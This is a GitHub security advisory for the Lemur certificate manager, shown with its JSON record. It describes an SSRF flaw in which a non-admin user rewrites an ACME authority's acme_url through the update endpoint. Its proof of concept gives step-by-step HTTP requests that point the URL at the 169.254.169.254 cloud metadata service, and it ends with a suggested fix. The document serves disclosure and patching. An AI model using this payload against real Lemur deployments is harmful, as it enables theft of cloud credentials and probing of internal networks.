GHSA-V5RC-CPWC-CFPR

Vulnerability from github – Published: 2026-08-18 20:51 – Updated: 2026-08-18 20:51
VLAI
Summary
Lemur: Incomplete fix for GHSA-v2wp-frmc-5q3v -- ACME authority update endpoint allows non-admin to replace `acme_url` with internal IP, bypassing allowlist
Details

Summary

The fix for GHSA-v2wp-frmc-5q3v added _validate_acme_url() to reject acme_url values not in ACME_DIRECTORY_HOST_ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme_url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme_url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

Details

Where the fix lives (POST path -- protected):

lemur/plugins/lemur_acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create_authority):

for option in plugin_options:
    if option.get("name") == "certificate":
        acme_root = option.get("value")
    if option.get("name") == "acme_url":
        _validate_acme_url(option.get("value", ""))   # allowlist enforced

_validate_acme_url at line 35:

def _validate_acme_url(url):
    """Reject acme_url values that are not in the configured allowlist.

    Called at authority creation time only -- existing authorities in the DB
    were already trusted when they were created and are not re-validated.
    """
    allowed_hosts = current_app.config.get(
        "ACME_DIRECTORY_HOST_ALLOWLIST",
        {"acme-v02.api.letsencrypt.org", ...},
    )
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(...)

Where the gap is (PUT path -- unprotected):

lemur/authorities/views.py lines 405-424 (Authorities.put):

authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)

if not permission.can() or not StrictRolePermission().can():
    return dict(message="You are not authorized to update this authority."), 403

return service.update(
    authority_id,
    owner=data["owner"],
    description=data["description"],
    active=data["active"],
    roles=data["roles"],
    options=data.get("options")        # stored verbatim -- no ACME URL check
)

lemur/authorities/service.py lines 28-46 (update):

def update(authority_id, description, owner, active, roles, options=None):
    authority = get(authority_id)
    authority.roles = roles
    authority.active = active
    authority.description = description
    authority.owner = owner
    if options:
        authority.options = options    # written to DB with no _validate_acme_url call
    return database.update(authority)

Where the SSRF sink is:

lemur/plugins/lemur_acme/acme_handlers.py lines 157-188:

for option in json.loads(authority.options):
    options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL

With the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme_url with an arbitrary URL. The allowlist enforced at creation is silently discarded.

PoC

Prerequisites: - Lemur 1.9.2, default config (LEMUR_STRICT_ROLE_ENFORCEMENT not set, defaults to False) - Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance) - Attacker has a valid Lemur session token

Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):

POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}

Response (truncated):

{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Step 2 -- Confirm identity (non-admin, no global operator role):

GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:

{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}

Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:

PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "security@example.com",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}

Response (HTTP 200 -- no validation error):

{
  "id": 1,
  "name": "TestRootCA",
  "description": "Let's Encrypt Production",
  "options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
  ...
}

Live validation output (observed on Lemur 1.9.2, 2026-06-19):

User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']

PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"

Step 4 -- Trigger SSRF:

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup_acme_client(), which executes:

directory_url = options.get("acme_url", ...)  # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net)  # outbound request

The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

Suggested fix:

Call _validate_acme_url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:

# in lemur/authorities/service.py  update()
if options:
    from lemur.plugins.lemur_acme.plugin import _validate_acme_url
    import json
    for opt in json.loads(options) if isinstance(options, str) else options:
        if opt.get("name") == "acme_url":
            _validate_acme_url(opt.get("value", ""))
    authority.options = options

Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme_url with an arbitrary URL, bypassing the ACME_DIRECTORY_HOST_ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lemur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:51:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe fix for GHSA-v2wp-frmc-5q3v added `_validate_acme_url()` to reject `acme_url` values not in `ACME_DIRECTORY_HOST_ALLOWLIST`, but the validation is only called at **authority creation time** (POST). The authority **update** endpoint (`PUT /api/1/authorities/\u003cid\u003e`) accepts and stores arbitrary `options` -- including a modified `acme_url` -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored `acme_url` with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur\u0027s backend to fetch the attacker-controlled URL, achieving SSRF.\n\n### Details\n\n**Where the fix lives (POST path -- protected):**\n\n`lemur/plugins/lemur_acme/plugin.py` lines 333-337 (ACMEIssuerPlugin.create_authority):\n```python\nfor option in plugin_options:\n    if option.get(\"name\") == \"certificate\":\n        acme_root = option.get(\"value\")\n    if option.get(\"name\") == \"acme_url\":\n        _validate_acme_url(option.get(\"value\", \"\"))   # allowlist enforced\n```\n\n`_validate_acme_url` at line 35:\n```python\ndef _validate_acme_url(url):\n    \"\"\"Reject acme_url values that are not in the configured allowlist.\n\n    Called at authority creation time only -- existing authorities in the DB\n    were already trusted when they were created and are not re-validated.\n    \"\"\"\n    allowed_hosts = current_app.config.get(\n        \"ACME_DIRECTORY_HOST_ALLOWLIST\",\n        {\"acme-v02.api.letsencrypt.org\", ...},\n    )\n    parsed = urlparse(url)\n    if parsed.scheme != \"https\" or parsed.hostname not in allowed_hosts:\n        raise InvalidConfiguration(...)\n```\n\n**Where the gap is (PUT path -- unprotected):**\n\n`lemur/authorities/views.py` lines 405-424 (`Authorities.put`):\n```python\nauthority = service.get(authority_id)\nroles = [x.name for x in authority.roles]\npermission = AuthorityPermission(authority_id, roles)\n\nif not permission.can() or not StrictRolePermission().can():\n    return dict(message=\"You are not authorized to update this authority.\"), 403\n\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"],\n    description=data[\"description\"],\n    active=data[\"active\"],\n    roles=data[\"roles\"],\n    options=data.get(\"options\")        # stored verbatim -- no ACME URL check\n)\n```\n\n`lemur/authorities/service.py` lines 28-46 (`update`):\n```python\ndef update(authority_id, description, owner, active, roles, options=None):\n    authority = get(authority_id)\n    authority.roles = roles\n    authority.active = active\n    authority.description = description\n    authority.owner = owner\n    if options:\n        authority.options = options    # written to DB with no _validate_acme_url call\n    return database.update(authority)\n```\n\n**Where the SSRF sink is:**\n\n`lemur/plugins/lemur_acme/acme_handlers.py` lines 157-188:\n```python\nfor option in json.loads(authority.options):\n    options[option[\"name\"]] = option.get(\"value\")\ndirectory_url = options.get(\"acme_url\", current_app.config.get(\"ACME_DIRECTORY_URL\"))\n...\ndirectory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL\n```\n\nWith the default configuration (`LEMUR_STRICT_ROLE_ENFORCEMENT = False`, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), `StrictRolePermission().can()` passes for any non-read-only user. Any user granted membership in an authority\u0027s role group by an admin can therefore call `PUT /api/1/authorities/\u003cid\u003e` to overwrite `acme_url` with an arbitrary URL. The allowlist enforced at creation is silently discarded.\n\n### PoC\n\n**Prerequisites:**\n- Lemur 1.9.2, default config (`LEMUR_STRICT_ROLE_ENFORCEMENT` not set, defaults to `False`)\n- Admin grants non-admin user membership in an ACME authority\u0027s role (normal operational step to allow certificate issuance)\n- Attacker has a valid Lemur session token\n\n**Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):**\n\n```\nPOST /api/1/auth/login HTTP/1.1\nHost: lemur.example.com\nContent-Type: application/json\n\n{\"username\": \"alice\", \"password\": \"...\"}\n```\n\nResponse (truncated):\n```json\n{\"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\"}\n```\n\n**Step 2 -- Confirm identity (non-admin, no global operator role):**\n\n```\nGET /api/1/auth/me HTTP/1.1\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n```\n\nResponse:\n```json\n{\"username\": \"alice\", \"id\": 2, \"roles\": [{\"name\": \"TestRootCA_operator\"}]}\n```\n\n**Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:**\n\n```\nPUT /api/1/authorities/1 HTTP/1.1\nHost: lemur.example.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\nContent-Type: application/json\n\n{\n  \"owner\": \"security@example.com\",\n  \"description\": \"Let\u0027s Encrypt Production\",\n  \"active\": true,\n  \"roles\": [{\"id\": 5}, {\"id\": 6}, {\"id\": 7}],\n  \"options\": \"[{\\\"name\\\": \\\"acme_url\\\", \\\"value\\\": \\\"http://169.254.169.254/latest/meta-data/\\\"}]\"\n}\n```\n\nResponse (HTTP 200 -- no validation error):\n```json\n{\n  \"id\": 1,\n  \"name\": \"TestRootCA\",\n  \"description\": \"Let\u0027s Encrypt Production\",\n  \"options\": [{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}],\n  ...\n}\n```\n\n**Live validation output (observed on Lemur 1.9.2, 2026-06-19):**\n\n```\nUser: nonadvuln | ID: 2 | Roles: [\u0027TestRootCA_operator\u0027]\n\nPUT /api/1/authorities/1 -\u003e HTTP 200\nstored options: [{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]\n\nDB confirm (psql):\nSELECT options FROM authorities WHERE id=1;\n\"[{\\\"name\\\": \\\"acme_url\\\", \\\"value\\\": \\\"http://169.254.169.254/latest/meta-data/\\\"}]\"\n```\n\n**Step 4 -- Trigger SSRF:**\n\nIssue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur\u0027s celery worker calls `AcmeHandler.setup_acme_client()`, which executes:\n\n```python\ndirectory_url = options.get(\"acme_url\", ...)  # reads stored malicious URL\ndirectory = ClientV2.get_directory(directory_url, net)  # outbound request\n```\n\nThe backend issues an HTTP GET to `http://169.254.169.254/latest/meta-data/`, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).\n\n**Suggested fix:**\n\nCall `_validate_acme_url()` inside `service.update()` (or in `Authorities.put`) whenever the `options` field is provided and the authority uses an ACME-based issuer plugin:\n\n```python\n# in lemur/authorities/service.py  update()\nif options:\n    from lemur.plugins.lemur_acme.plugin import _validate_acme_url\n    import json\n    for opt in json.loads(options) if isinstance(options, str) else options:\n        if opt.get(\"name\") == \"acme_url\":\n            _validate_acme_url(opt.get(\"value\", \"\"))\n    authority.options = options\n```\n\n### Impact\n\nAn authenticated Lemur user who has been granted membership in any ACME authority\u0027s role group can overwrite that authority\u0027s `acme_url` with an arbitrary URL, bypassing the `ACME_DIRECTORY_HOST_ALLOWLIST` enforced at creation time. On the next certificate issuance via that authority, Lemur\u0027s backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.",
  "id": "GHSA-v5rc-cpwc-cfpr",
  "modified": "2026-08-18T20:51:21Z",
  "published": "2026-08-18T20:51:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-v5rc-cpwc-cfpr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/commit/edca0390f930344d65ff4ca37a669c2320e3dfad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/lemur"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemur: Incomplete fix for GHSA-v2wp-frmc-5q3v -- ACME authority update endpoint allows non-admin to replace `acme_url` with internal IP, bypassing allowlist"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…